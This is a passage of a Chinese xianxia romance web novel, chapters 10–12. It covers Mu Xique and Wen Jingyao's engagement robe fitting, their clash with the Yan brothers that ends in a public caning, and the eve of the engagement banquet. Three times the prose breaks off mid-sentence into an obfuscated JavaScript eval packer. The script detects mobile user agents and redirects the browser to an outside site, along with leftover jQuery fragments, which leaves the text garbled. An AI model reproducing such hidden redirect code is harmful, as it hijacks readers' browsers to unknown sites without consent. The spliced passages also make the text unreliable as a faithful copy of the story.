“闻大少爷,未婚道侣拉个手都不行?”慕夕阙凑至他耳畔,盯着微红的耳根,“脸皮这么薄,以后可怎么办,不然日后我们分开住得了,各不打——” 话还未说完,手腕被扣住。 少年垂眸看她,他背着光,面容虽隐在昏暗里,一双眼却格外明亮纯粹,但往日温和的湖面如今起了阵风,让它掀起圈圈涟漪,难得瞧出些波动。 “可以牵手。”闻惊遥说道,掌心下滑触至她的手,他顿了下,随后仔细握住,收拢掌心将她的手握紧,“也不分居,我们住在一起。” 啧,原来也不是无欲无求。 慕夕阙低头看两人交握的手,心里琢磨,闻惊遥这等谨守清规、不知变通的死木头,竟然也能做到这一步。 情爱确实会让人神志不清,露出破绽。 10.第 10 章 东浔满目青山,水明山秀,碧瓦朱甍,茶馆酒楼比比皆是。 临近订婚宴,在主城大设宴席,沿街楼阁便都挂了鲜花点缀的彩灯,两人一路上见了不少车马飞舟,应是前来庆贺的宾客,遇到熟人便打个招呼。 磨磨蹭蹭,走得颇慢,到莲衣阁之后天已然黑透,两人方进门,便有迎客之人上前。 “少主,慕二小姐,在下丹苕,请随我上楼。”丹苕抬手作请。 闻惊遥颔首:“多谢。” 慕夕阙之前穿过莲衣阁的衣裳,分店遍布十三州,做工的确当属上品,款式也新,还不用等上几月,除价高之外堪称完美,难怪名声打得响亮。 一路上至二楼,丹苕前去后厅取衣,冠服繁琐厚重,需得几人抬来。 等候之时,慕夕阙抬头打量,第三层似乎并不售卖现品衣服,墙上挂的皆是布匹蚕纱,云衣鲛绡,她大致扫了一眼便知这里是量体选布、定制款式的地方。 “喜欢吗?”见她走走看看,闻惊遥跟在身旁,轻声询问。 慕夕阙没回头,说道:“还好。” 闻惊遥沉默,拿不准“还好”是什么意思,是喜欢还是不喜欢? 他抬头去瞧慕夕阙身侧的布帛,这是她方才瞧了最久的,是件罗红色鲛绡,这种布匹料子单薄柔顺,是许多世家子弟避暑之时会千金购入的布帛。 慕夕阙走远了些,闻惊遥看了眼一位随行的绣娘,那女子意会,取下鲛绡。 闻惊遥将银两递去:“按先前送来的冠服尺寸去做,我明日会差人送来款型画像,有劳。” “少主客气,应当的。”绣娘接过银两,将定下的鲛绡也一并带走。 慕夕阙转了一圈便将这莲衣阁大致看完,她站在窗边,从楼上看去,大小街巷张灯结彩,彩灯长燃,昨夜她出来之时并未仔细看,恐赶不上救蔺九尘,回来时候更是心急,毕竟还有个闻惊遥在身后追着。 她倚着窗栏,听到身后靠进的脚步声,却并未回头。 “鹤阶到了。”慕夕阙望着远处,指节屈起轻扣窗柩,“还有千机宗的人。” 相距三条街的地方,一家九层高的客栈门前把守森严,穿着云蓝长袍的弟子们围成圈,将整个客栈围得水泄不通,其中走动之人偶见穿着紫色长衫的,那是千机宗的弟子。 “鹤阶长老来了三位,千机宗是宗主夫人带了首席弟子前来献礼。” 慕夕阙默了瞬,修到元婴境界,五感过人,隔着这般远也能大致瞧清远处。 闻惊遥站至她身侧,两人并肩,他道:“闻家暗桩来信,千机宗与鹤阶都在寻一人,任前辈出事前便是去见他。” 慕夕阙侧首看过来,瞧着第一回听说一般,颇有些感兴趣地问:“谁啊?” “徐无咎,倦天涯的天阶锻器师。”闻惊遥与她对视,语调淡淡,一双眼却始终不曾从她身上偏移半寸。 “徐无咎?”慕夕阙略略挑眉,“我倒是听说过他,之前姜榆还想寻他为我师兄锻柄刀鞘,奈何这人踪迹捉摸不定。” “徐无咎于五日前进了东浔主城,进城后便不见踪影。” 两人沉默,慕夕阙始终懒散倚靠在窗柩旁,闻惊遥则负手而立,站姿挺拔,安静看她,目光如往日般沉静。 末了,慕夕阙笑了声:“鹤阶和千机宗住在一起,可能是为了齐心协力寻找徐无咎呢?毕竟不找到徐无咎,不知任前辈是如何死的,千机宗定不会松口,鹤阶也无法除祟。” “嗯,或许。”闻惊遥长睫半垂,薄唇翕动。 谈及这件事,慕夕阙有了个合理的话头,闲聊般问他:“那昨夜之事可有突破?” 提及正事,旖旎消散了些,闻惊遥长睫半垂,从喉口挤出声回应:“尚未,只能猜出凶手应当去过海外仙岛。” “哦,那她为何要杀闻时烨?”慕夕阙点点头,似乎并不关心,只是随口闲聊。 “二叔昨日出现在城郊另有目的。”闻惊遥抬眸看她,淡声道:“我们在距尸身百里外发现了一处已经破碎的杀阵,阵级不高不低,恰好卡在能被结界玉灵察觉的边界。” “你觉得那杀阵是闻时烨布下的,毕竟最了解你们闻家玉灵的,便是闻家人。” “嗯。”以她的聪慧若猜不到才算奇怪,闻惊遥接着道:“凶手昨晚这般不顾时机,急欲杀害二叔,也许是为了营救那被杀阵困住之人,如此一来,杀人动机便有。” 他顿了顿,补充道:“只是猜测,我觉得凶手目的并不仅仅如此,任前辈身死化祟、徐无咎失踪,兴许都与昨日之事脱不了干系。” 慕夕阙问:“为何这般觉得?” 闻惊遥道:“直觉。” 若旁人说这两个字难免招笑,让人觉得猖狂,偏生是闻惊遥说出来的,慕夕阙盯着他,心下冷然。 没想到闻惊遥这般敏锐,她知晓若他探出杀阵一事,猜出她是为了救人并不困难,她也早已做好了应对法子。 但他竟敏锐至此,能扯到徐无咎身上。 闻惊遥并不知她在想什么,他低头看着青砖上倒映出的模糊人影,低声喃喃:“我只是不知道她如何提前知晓二叔布下了杀阵,二叔行事一贯严谨。” 慕夕阙不吭声,垂眸顺着窗子看向窗外,两人安静许久,然后她忽然开口:“你一直在抓杀人凶手,但有没有去查你二叔为何要布下杀阵杀人,为何要豢养死士?” 她并没有质问的语气,甚至表情也是一贯的平淡中带丝慵懒,好似所有事情都不在乎。 闻惊遥沉默。 慕夕阙又问:“若那女子替天行道呢,你们家有捉凶的理由,但人家也有想要保护的人。” 她说得分外在理,理性公正,闻惊遥没有理由、也不打算反驳。 他颔首,说道:“是,但凡事也要讲证据,我正在查。” 慕夕阙依靠着窗柩,反问道:“证据能存在,便也能销毁,找不到证据怎么办?” 闻惊遥道:“无凭无据,便无法服众,又怎知她做的是对的?” “服众,你是这般想的?” “十三州律规如此。” 四周安静了许久,两人隔着一臂距离对视,慕夕阙始终笑盈盈的,让人看不出心里所想,闻惊遥却有种直觉,她在生气。 是不是他说错了什么? 来不及等他想,噗嗤一声,慕夕阙笑了出来:“果然是在闻家清心观长大的,刚正不阿,守节不移,真好。” 荧荧烛火摇曳,在她的脸上投下忽明忽暗的阴影。 “闻惊遥,你果然没让我看错。” “……夕阙?” 闻惊遥敏锐觉得她生气了,她虽称不上好脾气,但也不是阴阳不定之人,不会无缘无故发火。 他们交谈的这段功夫,丹苕已将冠服带出,瞧见两人站在窗口处,招呼道:“少主,慕二小姐,冠服已备好,请去隔间试衣。” “去试衣吧,试完早些回去。”慕夕阙第一个走,转身离开。 “好。” 因着女子冠服还需试首饰,慕夕阙的冠服在第三层,她随丹苕上楼。 隔间里的桌上摆了十余套首饰,套在木架上的衣裳青红交叠,上用金线绣了栩栩如生的提花缎纹,腰封用湖青玛瑙石做环扣,而裙摆拖曳在地,尾摆上绣莲纹。 她便随意指了套坠有青红宝石流苏的发冠:“就那套吧,颜色配些,有劳了。” 闻惊遥的衣服简单,他自己便能穿,而慕夕阙的婚服则略有些繁琐,需得有人帮忙。 丹芍取下婚服,上前道:“二小姐,请换衣。” 慕夕阙换完衣裳,坐在明镜台前,丹苕解开她的发髻,说道:“二小姐,发髻繁杂了些,劳您稍等。” “嗯,多谢。” 她盯着镜中看,容貌昳丽的女子便是不施粉黛也好看,她与闻惊遥似乎哪哪都不般配,一个艳丽似棠花,一个淡雅如青竹,无论姿容还是脾性,两人都截然相反。 估摸着十三州也没多少人看好他们的婚事,一心觉得是两家联姻罢了。 闻家兴许是为了商户,而慕家则很明显,看中了闻家的兵力。 慕夕阙不敢保证其余世家怎么想。 但鹤阶一定不想他们这桩婚事能成。 换好冠服已经是两刻钟后,她从未穿过青红这种略显压抑沉闷的颜色,但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413828|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身衣裳量身定制,莲衣阁的绣娘们也确实个个都有着一双巧手,穿上身格外收腰,青红虽沉闷,却也端重肃正。 靡丽金饰是闻家特意定制的,慕夕阙平日穿着艳丽,也不喜闻家那等素雅装扮,纵使这婚事是联姻,闻家该给的面子和礼仪也都做到了位,并未薄待她。 但推开隔间木门,慕夕阙抬眸去看,瞧见门外站着的人后,掩在宽袖中的手悄无声息握紧。 “小夕。” 燕如珩开口唤她,眉目温和,清俊似仙。 赤敛燕家子嗣众多,燕家主更是偏宠长子,自燕家长子十三年前亡于一场祟难后,燕家主哀思过度,鲜少再过问燕家家事,少主之位落于燕如珩身上,如今燕家半数实权也都握在他手中。 而杀了燕家长子的那场祟难,同样也夺去了慕峥的性命。 慕夕阙神情平静,走出隔间,两个贵客会面,丹苕便自行退下,第三层只剩下她与燕如珩。 燕如珩如今二十岁,比慕夕阙大了三岁,月白长衫衬得人修长挺拔,雪衣黑发,眸光清淡,眉目似覆着霜雪般冷淡,却又被他周身一种若有若无的温润融化。 “阿珩,好久不见,你为何会出现在这里?” 她的态度不冷不淡,但过去的慕夕阙就是这般,虽与燕如珩关系好,却也不是见面便会扬起笑脸,她不管对谁都有种隐约的疏离。 燕如珩温声道:“我今日上午方到东浔主城,在客栈安顿好后便想着出来走走,方才在楼下瞧见你了。” 他的目光落在慕夕阙的发髻上,这身明日订婚要穿的冠服华丽繁复,而她容貌明艳,这衣裳穿在她身上丝毫不显夸张。 慕夕阙点点头:“那你应当也瞧见闻惊遥了吧,怎么不去跟他打个招呼?” “我与他关系倒也没好到这种程度。”燕如珩笑了声,垂下眼睫,不动声色掩去眸底晦暗。 慕夕阙扯出抹笑,说道:“老友相见,我应当请你去做个客,可如今你也瞧见,我确实没空,他还在等我,便先走了。” 她从燕如珩身侧绕过,擦肩而过的刹那,脸色冷得宛如寒冰。 燕如珩唤住她:“小夕。” 慕夕阙站定,面无表情,并未转身。 燕如珩看着她的背影,淡声问:“为何忽然答应这桩婚事?” 慕夕阙回身看他:“联姻啊,对彼此都有益处。” 墙上悬着的明烛打出耀眼的光,落在燕如珩面上,他看着她,目光依旧温和,可那平静的眸光下,却又像压着什么浓重的情绪。 “闻家虽兵力强盛,但因太过死板树敌不少,若想保全慕家,也并非只有一个闻家可选。” 慕夕阙装作听不懂:“还有谁?” “赤敛燕家。”燕如珩走近,站至她身前两步之距,低头去看描了淡妆的慕夕阙,“燕家兵力同样强盛,同盟如云,门庭赫奕。” 这话只差敞开了说,慕夕阙笑盈盈看着他,问道:“那你敢为了慕家和鹤阶作对吗?” 燕如珩道:“有何不敢?” 慕夕阙点点头。 他确实敢,但他不会这般做。 燕如珩是想娶她,但他选择的法子是将慕家摧毁,把她从那个高高在上的位置拖下来,将她的亲朋好友、所有后路一应斩断,只留他这一条生路,以为这样她便只能依附他了。 这种喜欢可真是令人恶心。 慕夕阙心下早已起了杀意,但如今不能光明正大动手,她恐再待会儿便要提剑砍人了,于是笑了笑,耸了耸肩满不在乎道:“这婚事是我父亲定下的,他死得早,我总不能让他泉下也不瞑目,你若无事我便先下去了。” “小夕,我——” 燕如珩薄唇抿了抿,刚想说什么,察觉到从楼梯口传来的脚步声,又生生止住,抬眸看去。 慕夕阙也看过去。 长廊尽头,转角处走出个身形高挑的少年郎,拾阶而上,穿着与她同色的青红色婚服,他平日总是一身单薄青衫,从未穿过这般略显华丽的衣裳,可今日乍然穿上,倒给那张冷淡的面容增了些绮丽。 慕夕阙柳眉微扬,笑盈盈说:“阿珩,我的未婚夫来了。” 11.第 11 章 闻惊遥身后还跟了个模样稚嫩,穿着白金服饰的少年,瞧着岁数与姜榆差不多大。 “夕阙。”闻惊遥自来了后,只瞥了眼燕如珩,视线便没从慕夕阙身上偏移过。 慕夕阙朝他走去:“你来了,遇上阿珩便聊了会儿。” 闻惊遥看过去,颔首道:“燕少主。” 燕如珩端着笑回道:“闻少主好久不见。” 闻惊遥并未再回应,拉起慕夕阙的手,从容自若。 慕夕阙愣了下,十来岁的闻惊遥是什么模样,她再清楚不过了,死板到有些固执。 可与她相握的手攥得很紧,闻惊遥将她往身边扯了扯,他身上那股淡香便扑鼻而来。 闻惊遥问:“婚服可还合适?” 慕夕阙回道:“合适,不需要改。” “那便回去吧。”闻惊遥恍若没瞧见旁人,从始至终只看着慕夕阙。 那身着白金服饰的少年冷着脸站在燕如珩身侧,满脸不忿:“闻少主,慕二小姐,我兄长还站在这里呢。” 慕夕阙和闻惊遥几乎同时抬眸看去。 燕青来如今也就十五岁,他性子顽劣,眉目间有明显的不逊和被娇养惯了的傲气,这些年没少跟慕夕阙阴阳怪气。 慕夕阙颔首道:“哦,忘了,抱歉,我们还有要事,便先离开了。” 燕如珩神色淡淡,目光落在她和闻惊遥交握的手上。 她轻飘飘的态度像是个巴掌一样甩在了燕青来脸上,如今见两人成双成对更是恼火。 燕青来道:“我此番来送礼便憋着一肚子火气,朝家主既无心让你与燕家结亲,前些年走得那般近作甚,她一边与燕家交好,扭头却忽然扯出桩娃娃亲,这吃相未免也忒难看了。” 燕如珩侧首,沉声道:“闭嘴。” 慕夕阙脸上那点扯出的笑也散去了。 燕青来甩开燕如珩的手:“兄长,这十三州谁敢薄待我们燕家,要我说十三州的传闻怕都是真的。” 他话音刚落,侧上方灵压逼来,带起的罡风自脸侧刮过,燕如珩修为不弱,几乎是瞬时便扯着燕青来退后几丈远,站定后冷眼望去。 闻惊遥长身玉立,单手执剑,那剑已出鞘。 燕青来刚站稳,意识到发生了什么,音量陡然拔高:“你想打我?我说的哪里有错,十三州传得沸沸扬扬,祭墟动荡秽毒将出,慕家独揽十二辰却不愿拿出来镇压祭墟,装什么仁善!” “青来,闭嘴!”燕如珩似乎也动了气,眉头皱起,音量高了几分。 慕夕阙从始至终站在窗边,瞧不出生气的模样。 “你就咽的下那口气!”燕青来眸底赤红,已然气到极处,“朝家主分明就是利用你,却根本看不上我们燕家,要我说这女子当什么家主,朝蕴资质平平哪比得上先慕家主半分,谁知道她怎么——” 这次话未说完,刚才还在几步远外的少年瞬移上前。 闻惊遥淡淡看了燕如珩一眼,视线越过他落到他身后的燕青来身上。 “一介后辈,谗言家主,背后毁谤,不敬尊长,藐视神武,按十三州律法,无论身份地位尊卑高低,当杖责三十,由燕家主事代为赔礼。” 他反手运出灵力,眨眼之间灵力凝化为一长棍,闻惊遥单手握住,棍身在空中旋转一圈,猛然砸下,朝燕青来打去,棍身带出的簌簌声猎猎作响,力道之重,毫无留情余地。 没想到他这般不留情面,燕如珩脸色一变,抽出腰间长剑凝结罡阵准备应敌。 身侧快影袭过,燕如珩只顾应付闻惊遥,一时不察。 轰—— 伴随一声闷响,一柄金黄灵力凝出的长棍越过燕如珩,重重打在燕青来胸口,瘦弱的少年毫无抵抗之力,吐出一大口淤血,被砸出十几丈远。 青红交叠的衣裙被急速冲击的罡风吹得翩飞,满头华丽金钗叮当摇晃,她速度极快,只是眨眼之间便到了身前,刮过的气流化为锋利的刃。 路过燕如珩时,在他脖颈一侧划出渗血的伤。 “不劳你替我打,辱我慕家,诽谤我阿娘之人,我亲自来打。” 慕夕阙单手拎起燕青来,纵身从三楼后窗跃下,跳入莲衣阁后院。 四周惊呼,前来订衣的宾客拥挤上前,挤在窗子前看,只见那容貌迭丽、满头金钗的女子猛踹少年膝弯,让其跪倒在地,单手扬起用灵力幻化出的棍棒,高高扬起,重而狠地砸下。 燕青来发出一声惨叫,一个素来娇惯,修为不过筑基的少年完全没有抵御的能力,吐出一口淤血昏倒在地。 燕如珩反应过来,瞳仁微缩,眉头紧蹙,抬脚便欲上前阻拦。 一柄玄青长剑横在身前,剑已出鞘,那柄品阶不俗的剑身上暗纹流动,青光凛然。 燕如珩侧眸看去,笑问:“闻少主这是作甚。” “令弟当众口出妄言,当按十三州律法处置,此律规乃千年前燕家所写,你不认?” 燕如珩脸上那点体面的笑慢慢散去,听着后院声声有力的棍音,与闻惊遥平视。 末了,他退后一步。 “闻少主说得是,既犯错便该罚。” 闻惊遥收剑入鞘,并未看他。 燕如珩便也安静等候,在场人分辨不出他是当真知错,还是为了面子。 院里已经打了十三棍,探头去看的百姓们暗自咂舌,慕二小姐这一出难免会与燕家结怨。 ……可先前慕二小姐与燕家少主不是交情颇深吗? 东浔百姓抬头看看清冷寡淡的自家少主,又瞧瞧一袭白衣温文尔雅的燕家少主,心中八卦之火熊熊燃烧。 毕竟在慕闻两家的婚约公布之前,燕家与慕家走得颇近,多少人都猜两家少主长大会走到一起,谁料几年前慕家忽然扯出娃娃亲,结亲对象还是闻家。 此后淞溪慕家与赤敛燕家几乎断交,朝家主态度转变这般快,外界猜测可不少。 这边在八卦,那边院中,三十棍一棍不落,终于打完。 灵力凝出的棍棒化为虚无,慕夕阙撇了眼昏厥在地的燕青来,足尖轻踮,纵身跃上三楼,挤在一起看热闹的东浔百姓忙散开,却并未离去。 衣裳可以明日再买,瓜是必须要今日吃到嘴里的。 ……然后他们就对上了自家少主看过来的目光。 众人沉默,不约而同转身,下楼或者上楼。 “小夕。”燕如珩见她走来,开口唤她,说话还是一如既往温和。 慕夕阙顿住。 燕如珩抿了抿唇,颔首道:“抱歉,青来他脾气一贯如此,今日失言了。” “阿珩,你会体谅我的,对吧?”慕夕阙扯出笑,“毕竟你阿弟口出妄言也不是一次两次了,今日这里人这般多,我若再不有点动作,我慕家面子往哪里搁?” “是,抱歉,来日我必带他登门道歉。”燕如珩抬眸看她,扯出温和的笑。 “嗯,我还有正事要忙。”慕夕阙说着,走向几步远外一直沉默的闻惊遥,张开双臂让他看,“冠服还挺合身,你觉得呢?” 少年薄唇微抿,垂眸看她。 慕夕阙歪歪脑袋,发髻上的珊瑚玉石摇摇晃晃。 闻惊遥喉结微滚,在她又一次催促追问下,他颔首道:“很漂亮。” 慕夕阙也不为难他,捋了捋鬓发,对他说:“好重,压得我脖子要断了。” 闻惊遥想也不想,抬手捧住她的发冠往上托。 慕夕阙这次似真的憋不住了,弯腰笑得满头金钗乱颤。 少年眨了眨眼,喉口发梗,下意识侧身挡住她,掩去燕如珩瞧向她的目光,实在是有些幼稚。 但…… 就是不想给他看。 闻惊遥低头问她:“很重吗,要不要换一套?” 慕夕阙抬手按住他捧着金冠的手背,说道:“没必要,我三岁学剑时候,头上顶十几个碗呢,你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422062|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松手。” 像有轻柔的羽毛在手背上挠过,少年指尖微颤,慢慢收回了手。 慕夕阙从他身前绕出,面向刚转身下楼将自家胞弟背上来的燕如珩。 燕青来趴在他身上,血水将他的白衣弄脏,他抬起黑沉如墨的眼,眸底的晦暗似一闪而过。 慕夕阙道:“我们一年未见,本该叙叙旧,但想必今日你应当没空,不若这样,来日再聚,我请你用膳,如何?” “好。”燕如珩的目光在她身上停顿片刻,又落至她身后沉脸的少年,眼眸微弯,说道:“我和小夕一年未见,用个膳闲聊一番,届时闻少主也可以来。” 闻惊遥没应声,两人对视,隐匿的暗流怕是只有彼此知晓。 燕如珩背着燕青来离开。 慕夕阙捏捏酸疼的脖子,扭头往隔间走。 “脖子酸了,我去换衣。” 她换好衣裳、卸去头饰后出来,闻惊遥也早已等在外头,见她出来,少年朝她走了几步。 墙上的圭表已经走至亥正,他看了眼后说道:“时间不早了,早些回去歇息吧。” 两人并肩走出莲衣阁,这会儿外头街上的人依旧不少。 到主宅后,闻惊遥并未直接告别回自己的住处,而是一言不发跟着她走,明摆着要送她回画墨阁。 慕夕阙便也不推辞,两人挨得近,她还嗅到一股淡淡的、与雪竹香交杂的草药味。 抵达画墨阁门前,闻惊遥停了下来:“夕阙,今日早些休息。” 慕夕阙双手背在身后,半点不拐弯抹角地说:“你生闷气了。” 闻惊遥一愣,垂下的手紧了紧,低声道:“没有。” 慕夕阙捏着鼻子:“好大的醋味。” 生活在这般清正森严的家族,闻惊遥自小便被教导百忍成金,无论面对何事处于何种境地,当渊思寂虑,从容有长,他便也习惯了将负面情绪压抑于心,从不外露,好似永远冷静自持。 可此刻被她直接点明,方才压了一路的情绪好似在沸腾,他上前一步逼至她面前。 “他在向你求亲,可我们要结亲了,闻家子弟若成婚便不可能和离,到死都得合于一棺。” 慕夕阙点点头:“我知道啊。” 闻惊遥沉默了片刻,说道:“你与燕如珩过去交情好,若不是我们这桩娃娃亲,如今结亲的便是燕、慕两家。” 慕夕阙盯着他看了好一会儿,他直勾勾盯着她看,竟有些固执,似乎非得堵她给个答案。 月夜之下,少女笑了下:“我说过我喜欢他?” 闻惊遥呛了一下,否认道:“没有。” “那你吃什么醋?”慕夕阙想了想,仰头看闻惊遥,下一息便听到她用含着笑意的声音说:“我不喜欢他,要与我成婚的是你,闻大少爷。” 心里刚枯萎的花又开了。 闻惊遥自己或许都未意识到,他牵出浅淡的笑意,方才身上那股要溺毙人的委屈和难过烟消云散。 “夕阙,抱歉。”好似春风过境,少年身上的寒霜陡然消融,连声音都温和了不少,“我只是觉得,你对我的态度转变太快,让我有些不知所措。” 慕夕阙笑着问:“不喜欢?” “喜欢的。”闻惊遥很实诚,“但多少有些慌张,担心只是自己一厢情愿。” “傻子。”慕夕阙骂他。 被骂的傻子并未生气,反而笑意更明显了些。 慕夕阙看了眼他肩头的位置:“你的伤该换药了吧,进来我帮你。” 闻惊遥下意识推辞:“不必,我自己可以。” “磨叽什么,昨晚不是我帮你上的药?”慕夕阙斜了他一眼,拽住他的手腕拉进画墨阁大门。 “以后可是一家人。” 闻惊遥本还想推拒,话滚到了嗓子边,又被自己囫囵咽下。 “……嗯。” 她说一家人。 他很喜欢。 12.第 12 章 慕、闻两家的订婚宴于奉秋七百年三月初十,在东浔闻家主宅大办。 朝蕴一大早便来了慕夕阙的院落,从宽袖中取出个长条木盒递给她:“本想着等你正儿八经成婚时再给,但如今十三州这个局面,还是趁早给你吧。” 隔着一层木盒,慕夕阙也能觉察出那股清灵纯粹的气息。 朝蕴道:“慕家家主护身玉灵,你随身携带,无论遇到多强的对手,它都能保你一命,阿娘今日赠你。” 慕夕阙合上盖子,放在桌上又推了回去:“既是家主玉灵,那便是您的东西,您拿着吧。” 朝蕴低头,指腹在瑑饰上划过,她说道:“也并非家主才能佩,当年你爹是家主,成婚当日便将这玉灵给了我,说能护我平安,对他来说,我比他的性命重要。” 提起夫君,一贯沉静的朝蕴也无意识柔情许多。 关于父亲,慕夕阙并未有太深的记忆,大多都是从朝蕴和慕家长老这边听来的,只知道是个脾气顶好,行直不苟之人。 朝蕴将玉佩取出,执起慕夕阙的手,搁置在她的掌心中:“可对阿娘来说,你比阿娘的性命重要,你拿着,阿娘才放心。” 玉佩中有温润的青光闪烁,那块玉坠只有璎珞大小,里面却住了只强劲的玉灵,护佑历任玉灵之主,慕夕阙轻拢掌心。 前世朝蕴也将这东西给了慕夕阙,可她当时与朝蕴关系实在不好,又好面子,总觉得这是朝蕴因着这桩婚事给她的补偿,想用这种东西轻易哄好她。 可前世她并未收下玉灵,玉灵一直在朝蕴那里,慕家灭门那日,朝蕴却连尸身都没能留下,神魂也被打散了。 “收下吧,阿娘近来总做噩梦。”朝蕴握住慕夕阙蜷起的手,“你收下,阿娘兴许便能睡个好觉。” 她态度坚决,慕夕阙握紧玉佩,低头系在脖颈间。 水滴大小的玉石贴在锁骨处,青蓝的玉为她平添了些冷然,慕夕阙抬眸,见朝蕴明显松了气,好像这般便能为自己的女儿多谋分活路。 慕夕阙没再推脱,看着朝蕴近在咫尺的脸,目光上移瞧见她眼角的细纹,反手握住朝蕴的手:“别担心,我已经长大了。” 朝蕴红唇张了张,眸光低垂,落在慕夕阙的手背上。 母女两人安静了许久,慕夕阙以为朝蕴是感伤她将要定亲,想了想安抚的话,刚要开口,便见朝蕴动了动。 她抬手轻抚慕夕阙虎口处的剑茧,低头说道:“燕家之事我和你师兄师妹也听说了,你便别管了,我们来处理。” 慕夕阙眉心微蹙,说道:“我既敢做便有了应对的法子,燕青来这些年不少诽谤慕家,您不必为我善后。” “我知道,你做事向来思虑周全,此番当众落燕家的面子,定有你自己的考量,阿娘信你。”朝蕴神情依旧沉静,摸了摸她鬓边的发,脸色忽冷,沉着声音说道:“近些年关于慕家的丑诋越传越甚,我不欲节外生枝便都忍了,可这两日我才想明白,你说得对,一味忍让只会让人觉得咱们好拿捏,日后那些人必更肆无忌惮。” 慕夕阙道:“那为何要我——” 朝蕴打断她的话,她神情肃重,属于家主的威严尽显。 “但慕家之事并非只系于你一人身上,阿娘知道你有更想做的事情,你只管去做,应付燕家这点小事,我和你师兄师妹便能处理。” 她站起身,揉揉慕夕阙的发髻,轻轻叹了口气:“你长大了,想做什么就去做,日后慕家还是要交于你手中的,阿娘还有些事,先去准备。” 朝蕴似乎只是送个玉灵,摸摸她的脑袋便离开了,女儿订婚,她今日事情也不少。 屋内只剩她一人,慕夕阙端坐在八仙椅中,看朝蕴沿着那条小道越走越远,直到再也瞧不见背影。 她盯着看了好一会儿,末了起身出门,将房门掩上,随后直奔闻家正门。 今日订婚宴,凡来参宴之人,需得手持邀贴,在正门确认身份后,由闻家弟子带领方可入门。 慕夕阙远远便瞧见了庄漪禾和闻惊遥,还有十几位闻家和慕家长老站在正门,除他们外,蔺九尘和姜榆也在。 今日来随礼参宴的大多都是十三州赫赫有名的世家大能,闻家和慕家的礼遇也不能低。 朝蕴和闻承禺作为家主,需得亲自操劳申时的点契,无法迎客,便由两家有名望的人来接客。 她到的时候,庄漪禾正扯着闻惊遥和几人说话。 闻惊遥是最先瞧见她的,身上那股冷淡劲散了些,他朝她走来。 “夕阙。” 慕夕阙牵出笑:“是不是很想跑?” 闻惊遥一愣:“什么?” 慕夕阙又说了遍:“瞧你跟他们说话的样子,是不是很想跑?” 闻惊遥不善言辞,更不会和人寒暄,跟他父亲一模一样,反而庄漪禾性子要热络些,订婚宴会来多少大能,当母亲的自然想为儿子多结识些人。 听出她话里的笑意,闻惊遥温声道:“嗯,想去见你。” 他说的是实话,也不觉得自己在说些引人遐想的话,她问什么他便答什么,这般直爽,反倒让慕夕阙被呛了一下。 “你俩干什么呢,谈情说爱啊。” 正不知如何回他,侧方有人走来,说话还是一如既往的闲散。 慕夕阙侧眸看去,蔺九尘走来,俊美周正的面上还挂着笑,身旁跟了个身着嫩黄襦裙的姜榆。 姜榆笑盈盈跟他犟嘴:“谈情说爱怎么了,不谈情不说爱,两个人过家家吗?” “嘶,你这丫头。”蔺九尘屈指敲了下姜榆的脑门。 姜榆捂着脑门跑去慕夕阙身边:“师姐,他又打我!” “今晚我替你打回来。”慕夕阙戳戳她的脑袋,又顺带揉了一把,笑着看向蔺九尘。 他双手环胸,长刀在臂弯间别着,依旧是过去那副懒懒的模样,丝毫不见生气。 脸色不错,神情自若,好似什么都没发生一般,他不打算和慕夕阙以及姜榆说自己在做什么,既有朝蕴的意思,也有他自己的考量。 他不说,那慕夕阙便当不知道。 ……只是不知现在徐无咎如何,又被藏在何处? “夕阙?”闻惊遥轻声唤她,“你有心事?” 还不等慕夕阙开口,蔺九尘先嗤了一声:“她能有什么心事,慕二小姐绝不生隔夜气,有仇当晚就报了。” 姜榆探出脑袋,双手捧在嘴边装作说悄悄话:“师姐,我都知道了,昨日你将燕青来打了一顿,今日他都没来送礼,怕是还躺在床上呢。” 说到这里,姜榆磨拳擦肘一副要去干架的模样:“我早就看他不顺眼了,成日嘴臭,若不是师娘拦着,我高低溜去燕家揍他一顿!” 慕夕阙按住她:“这件事别掺和了,你和师兄还有事吧,去忙你们的。” “不忙啊,我们哪有什么——师兄!” 姜榆话还没说完,被蔺九尘拎着后衣领拽走:“走吧你,怎么会没事干,收钱去啊,多少人都得来上礼呢。” 见姜榆被蔺九尘拎走,慕夕阙扯了扯唇角,笑意很浅,但也能瞧出她此刻是开心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427134|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她平时虽笑得多,但真心实意的笑却寥寥无几。 闻惊遥看着她,也跟着牵了牵唇角,她只要在笑,他便也开心。 